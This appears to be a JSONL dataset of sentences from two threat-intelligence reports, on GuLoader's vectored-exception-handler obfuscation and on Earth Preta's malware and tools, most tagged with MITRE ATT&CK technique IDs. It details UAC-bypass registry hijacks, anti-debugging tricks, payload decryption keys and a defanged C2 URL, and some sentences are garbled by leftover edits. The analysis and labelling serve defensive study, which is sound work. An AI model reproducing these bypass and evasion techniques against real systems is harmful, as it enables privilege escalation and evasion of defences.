{"sentence": "We will discuss each exception and understand its pattern to write a script.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_ACCESS_VIOLATION (code 0xC0000005)", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When malware intentionally tries to write to an inaccessible memory address, exception EXCEPTION_ACCESS_VIOLATION is raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Here, malware constructs zero by series of arithmetic calculations.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Then it tries to access memory address pointed by it, which raises exception as zero is inaccessible memory address.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 5.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_ACCESS_VIOLATION instructions pattern.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "As we can see the constant values and operations (mov, xor, sub) are keeps varying for each exception raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_SINGLE_STEP (code 0x80000004)", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The FLAGS register is the status register that contains the current state of a x86 CPU.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The trap flag is 8th bit of FLAGS register.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When the trap flag is set, the system is instructed to single step, it will execute one instruction and then stop.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Then contents of registers and memory locations can be examined by Vectored Exception Handler; if they are correct, the system can execute the next instruction.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The x86 processor has no instruction to directly set or reset the trap flag.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Malware uses combination of (PUSHFD/POPFD) instructions to set trap flag.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "These operations are done by.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Pushing the flag register on the stack (PUSHFD) .", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Modifying the trap flag bit (uses 0x100)", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Popping the flag register back off the stack (POPFD).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When malware is running without debugger, when SINGLE_STEP exception is raised and handled by Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 6. SINGLE_STEP", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "exception instructions pattern.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "However while using debugger, no exception can be seen being raised as trap flag is always gets reset after each debugger event is delivered.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_BREAKPOINT (code 0x80000003) INT3 instruction (0xCC opcode) is used as software breakpoint in debuggers, that’s why when program is running under debugger, control remains to the debugger after it encounter INT3.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When malware is running without debugger exception EXCEPTION_BREAKPOINT is raised, and control is transferred to the Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 7.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "BREAKPOINT exception instruction patterns.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Now we have understood how exceptions are being raised by malware.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Next will see how malware uses these exceptions to change the control flow at runtime using its custom Vectored Exception Handler. DECODING VECTORED EXCEPTION HANDLER An application can register a function to handle all exceptions for the application.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Vectored handlers are called in the order that they were added.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "GuLoader call RtlAddVectoredExceptionHandler API to add its custom Vectored Exception Handler. RtlAddVectoredExceptionHandler accepts two parameters.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 8.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Structures of EXCEPTION RECORD & CONTEXT.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "As we can see in below image, pointer of structure EXCEPTION_POINTERS is being passed as an argument to Vectored Exception Handler(VEH).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Using structure EXCEPTION_POINTERS, VEH can access all the information regarding raised exceptions and reading the values of all the registers of processor using structure CONTEXT.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 9.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Pseudocode of Custom Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When EXCEPTION_ACCESS_VIOLATION and SINGLE_STEP_EXCEPTION exceptions are raised, handler perform following steps: It checks whether memory address being currently accessed is zero or not.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "If it is not zero, then it returns 0 and ultimately crashes down.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "But how handler gets the address of currently accessed memory location?", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "So it uses ExceptionInformantion[1] member of Exception Record to get this additional information about exception.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Checks if any hardware breakpoints have been set by checking status of the debug registers(DR0 to DR7).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "If found it set the ContextRecord to 0 which leads malware to crash.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "If successfully pass the check, it then transforms the EIP to new address using logic Context->Eip += ByteAt(Eip + 2) ^", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "0x6A where Value 2 depicts size of instruction (mov, jg, jne etc.) where exception is raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "0x6A is byte key to transform EIP.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "(It differs sample to sample) Fig 10.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Debug register check.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When EXCEPTION_BREAKPOINT exception is raised, handler perform following steps:", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Checks whether hardware breakpoints have been set by checking status of the debug registers(DR0 to DR7).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Scans for applied software breakpoint i.e. CC byte in loop.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "If successfully pass the check, it then transforms the EIP to new address using logic Context->Eip += ByteAt(Eip + 1) ^", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "0x6A where Value 1 depicts size of instruction (CC) where exception is raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "WRITING IDA PYTHON SCRIPT IDAPython is an IDA Pro plugin that integrates the python programming language, allowing scripts to run in IDA Pro. IDA provides different modules to work on disassembly of instructions.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The python script finds instructions pattern that raise an exception and patch them by jump instruction with transformed EIP offset as a target.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "After running the python script in IDA, we get clean, easy to analyze, deobfuscated code of GuLoader’s shellcode.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Also finds out that GuLoader’s VEH has been called more than 1100 times.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 11.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Obfuscated code(A), deobfuscated code(B), GuLoader’s entire shellcode graph view(C).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "CONCLUSION GuLoader malware introduces new techniques very often which takes much time and efforts of malware analysts to fully analyzed it.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We have completely analyzed GuLoader’s custom Vectored Exception Handler and understood how it works.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We have written python script to defeat GuLoader shellcode control flow obfuscation and saving time and efforts of malware analyst.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We expect further development in GuLoader anti-analysis, anti-debug techniques in upcoming days.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "SonicWall Capture Labs provides protection against this threat via the SonicWall Capture ATP w/RTDMI.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "IOC’s SHA256 : 55130719554a0b3dcbf971c646e6e668b663b796f4be09816d405cc15a16d7d6 C2 URL : hxxp[:]//lena[.]utf[.]by/wp-content/plugins/f8eb81f6deba45169c3b41c05c4590ad/y/mm/mmd/kdRrHFMqRUIujuOy126[.]bin Final Payload (Azorult stealer): d5af42b118d0597c6b71831f2b2ebc8294eca907481d53939563fce7c0f14767 REFERENCES", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "[1] https://securitynews.sonicwall.com/xmlpost/guloader-a-fileless-shellcode-based-malware-in-action/ [2] https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling [3] https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_record", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "APT & Targeted Attacks Pack it Secretly: Earth Preta’s Updated Stealthy Strategies After months of investigation, we found that several undisclosed malware and interesting tools used for exfiltration purposes were being used by Earth Preta.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We also observed that the threat actors were actively changing their tools, tactics, and procedures (TTPs) to bypass security solutions.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In this blog entry, we will introduce and analyze the other tools and malware used by the threat actor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "By: Vickie Su, Nick Dai, Sunny Lu March 23, 2023Read time: ( words) Save to Folio Subscribe", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our previous research, we disclosed and analyzed a new campaign initiated by the threat actor group Earth Preta (aka Mustang Panda).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In a more recent campaign we’ve been tracking, we discovered Earth Preta delivering lure archives via spear-phishing emails and Google Drive links.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "After months of investigation, we found that several undisclosed malware and interesting tools used for exfiltration purposes were used in this campaign.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In this blog entry, we will introduce and analyze the other tools and malware used by Earth Preta.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Infection chain As we previously mentioned in our past blog entry, the entire attack begins with a spear-phishing email.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "After a long-term investigation into the attack routine, we’ve determined that the full infection chain works as follows: Figure 1.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The full infection chain We categorize the different TTPs into six stages: arrival vectors, discovery, privilege escalation, lateral movement, command and control (C&C) and exfiltration, respectively.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our previous research, we covered most of the new TTPs and malware during the first stage, arrival vectors.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, we observed that some of TTPs have been changed.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In the following sections, we focus on the updated arrival vectors and their succeeding stages.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Arrival vectors We previously summarized the arrival vectors used by Earth Preta by categorizing them into three types (DLL sideloading, shortcut links, and fake file extensions).", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Starting in October and November 2022, we observed that the threat actors began changing their TTPs to deploy the TONEINS, TONESHELL, and PUBLOAD malware, and QMAGENT malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that the threat actors are employing these new techniques to avoid detection.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Trojan.Win32.TONEINS Based on our earlier observation, the TONEINS and TONESHELL malware were downloaded from the Google Drive link embedded in the body of an email.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To bypass email-scanning services and email gateway solutions, the Google Drive link has now been embedded in a lure document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The document lures users into downloading a malicious password-protected archive with the embedded link.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The files can then be extracted inside via the password provided in the document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "By using this technique, the malicious actor behind the attack can successfully bypass scanning services.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A lure document (allegedly concerning the government-related Myanmar Sustainable Development Plan) embedded with a Google Drive link and a password For the new arrival vector, the whole infection flow has been changed to the procedure shown in Figure 3.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Infection flow for the new arrival vector File name Detection name Description Letter Head.docx Decoy document with Google Drive link List of terrorist personnel IN border.rar (all entries below are part of this archive) List of terrorist personnel at the border.exe First-stage legitimate executable for DLL sideloading libcef.dll Trojan.Win32.TONEINS First-stage malware ~$Evidence information.docx Second-stage legitimate executable for DLL sideloading ~$List of terrorist personnel at the border.docx Backdoor.Win32.TONESHELL Second-stage malware Internal Letter.docx Decoy document Letter Head.docx Decoy document Table 1.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Files in the new arrival vector After analyzing the downloaded archive, we discovered it to be a malicious RAR file with the TONEINS malware libcef.dll and the TONESHELL malware ~List of terrorist personnel at the border.docx.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The infection flow for these is similar to the arrival vector type C in our previous report, with the only difference being that the fake .docx files have XOR-encrypted content to prevent detection.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, ~$Evidence information.docx is a file disguising itself as an Office Open XML document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As such, it seems harmless and can even be opened by using decompression software such as 7-Zip.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We found that the threat actors have hidden a PE file in one of the archive’s ZIPFILERECORD structures.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The TONEINS malware, libcef.dll, will decrypt this file with a single byte in XOR operations, find the PE header, and drop the payload to the specified path.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A PE file is revealed after decrypting the frData member in the last ZIPFILECECORD structure.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The decryption function of TONEINS The succeeding behaviors of the infection flow are generally the same as those in our previous analysis, where we provide more details.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Trojan.Win32.PUBLOAD In more recent cases, the malware PUBLOAD was also being delivered through Google Drive links embedded in decoy documents.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The lure document Invitation letter from the US embassy.docx Since October 2022, we have been observing a new variant of PUBLOAD, which uses the spoofed HTTP header to transfer the data, as LAC’s report also discusses.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In contrast to the previous PUBLOAD variant, it prepends an HTTP header with a legitimate-looking host name to the packets.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that the threat actors are trying to conceal malicious data among normal traffic.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The data in the HTTP body is the same as the past variant, which has the same magic bytes 17 03 03 and the encrypted victim information.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We were able to successfully retrieve the payload from a live C&C server and were therefore able to continue our analysis.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "C&C traffic of the PUBLOAD HTTP variant Once the payload is received, it will check if the first three magic bytes are 17 03 03 and if the following two bytes are the size of payload.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It will then decrypt the encrypted payload with the predefined RC4 key 78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 20 00 00 00 00 00 00 00, which is the same as the one used in the PUBLOAD loader.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The first payload retrieved from the PUBLOAD HTTP variant After decryption, it then checks if the first byte of the decrypted payload is 0x06.", "labels": ["T1071.001", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The decrypted payload contains another payload that is XOR-encrypted with the bytes 23 BE 84 E1 6C D6 AE 52 90.", "labels": ["T1027", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The second payload retrieved from the PUBLOAD HTTP variant After this is decrypted, there is yet another final backdoor payload that supports data upload and command execution.", "labels": ["T1059.003", "T1071.001", "T1105", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The final payload of the PUBLOAD HTTP variant Command Internal string 0x03 - 0x01 - 0x1B UploadBegin error : %d! 0x1D UploadData error : %d! 0x1A - 0x1E CmdStart error : %d! 0x1F CmdWrite error :", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "%d! 0x30 CmdWrite error : %d 0x20 - Table 2.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Command codes in the PUBLOAD HTTP variant In addition, we found some interesting debug strings and event names among the PUBLOAD samples.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Event name in PUBLOAD Figure 12.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Debug string in PUBLOAD In summary, we think that the new TONESHELL and PUBLOAD archives have been evolving and now have something in common.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, both of them are now being placed in decoy documents (such as Google Drive links) in order to bypass antivirus scanning.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Discovery Once the threat actors obtain access to the victim’s environment, they can start inspecting the environment via the following commands: net user net user <username> net user <username>", "labels": ["T1033"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "/DOMAIN Privilege escalation In this campaign, we discovered several tools used for UAC bypass in Windows 10.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We will go into detail for each of them.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win 32.ABPASS HackTool.Win32.ABPASS is a tool used to bypass UAC in Windows 10.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on our analysis, it reuses codes from the function ucmShellRegModMethod3, which is from a famous open-source project called UACME.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A report from Sophos introduces this tool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": " This tool accepts an argument, and the following data is written into registry: Registry Key Name Value HKEY_USERS\\<SID>-1001_Classes\\aaabbb32\\shell\\open\\command (Default)", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "argv[1] HKEY_USERS\\<SID>-1001_Classes\\ms-settings\\CurVer (Default) aaabbb32 Table 3.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Registry keys changed by ABPASS", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It also changes how Windows handles the ms-settings protocol — in this case, the string ms-settings is a Programmatic Identifier (ProgID).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If the CurVer key is set under a ProgID, it will be used for versioning and mapping the current ProgID (ms-settings) to the one specified in the CurVer’s default value.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In turn, the behavior of ms-settings is redirected to the custom defined ProgID aaabbb32.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It also sets up a new ProgID aaabbb32 and its shell open command.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Finally, fodhelper.exe or computerDefaults.exe will be executed to trigger the ms-settings protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The added ProgID aaabbb32 HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win 32.CCPASS HackTool.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.CCPASS is another tool that is also used for Windows 10 UAC bypass and similarly reuses codes from the function ucmMsStoreProtocolMethod in the project UACME.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Code similarities in CCPASS and ucmMsStoreProtocolMethod It works in a similar way to ABPASS.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, unlike ABPASS, it hijacks the ms-windows-store protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The hack tool CCPASS works as follows: It disables the application association toasts for the protocol ms-windows-store.", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It creates a new Shell in the registry.", "labels": ["T1106", "T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It invokes the undocumented API UserAssocSet to update the file association.", "labels": ["T1106"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It executes WSReset.exe to trigger this protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In Windows 10 and above, the system shows a new toast dialog for selecting the open application for the selected file type.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To hide this window, the tool explicitly adds new entries to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ApplicationAssociationToasts to disable all toasts related to the protocol ms-windows-store.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "An example of the application association toast Figure 16.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Hiding application association toasts via the registry Once this is done, the tool starts to alter the shell command of ms-windows-store and finally triggers it using WSReset.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "SilentCleanup In Windows 10, there is a native Windows service called “SilentCleanup.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This service has the highest privileges that can be abused for Windows 10 UAC bypass.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Normally, this service is intended for running %windir%\\system32\\cleanmgr.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, the environment variable %windir% can be hijacked and changed to any path to achieve privilege escalation.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Malicious commands abusing the SilentCleanup service We observed that the threat actors used this technique to execute c:\\users\\public\\1.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Lateral movement In this stage, we observed certain malware such as HIUPAN and ACNSHELL (initially introduced and analyzed by Mandiant and Sophos) being used to install themselves to removable disks and create a reverse shell.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "USB Worm: Worm.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win 32.HIUPAN and+ Backdoor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win 32.ACNSHELL", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We found a pair of malware comprised of a USB worm and a reverse shell —includin g a USB worm and a reverse shell (detected as Worm.Win32.HIUPAN and Backdoor.Win32.ACNSHELL, respectively,) — being used to spreadfor spreading themselves over removable drives., which we detected as Worm.Win32.HIUPAN and Backdoor.Win32.ACNSHELL.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This These malware wereas detailed and introducedpreviously discussed in the reports published by Mandiant and Sophos.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 18 shows the infection chain for both. Figure 18.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "HIUPAN and ACNSHELL infection flow The USB Driver.exe program first sideloads u2ec.dll, which then loads the payload file usb.ini.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "They have the following PDB strings, respectively: G:\\project\\APT\\U盘劫持\\new\\u2ec\\Release\\u2ec.pdb", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "G:\\project\\APT\\U盘劫持\\new\\shellcode\\Release\\shellcode.pdb The string U盘劫持 means “U disk hijacking,” where “U disk” refers to removable drives.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "USB Driver.exe then starts checking whether it is properly installed.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
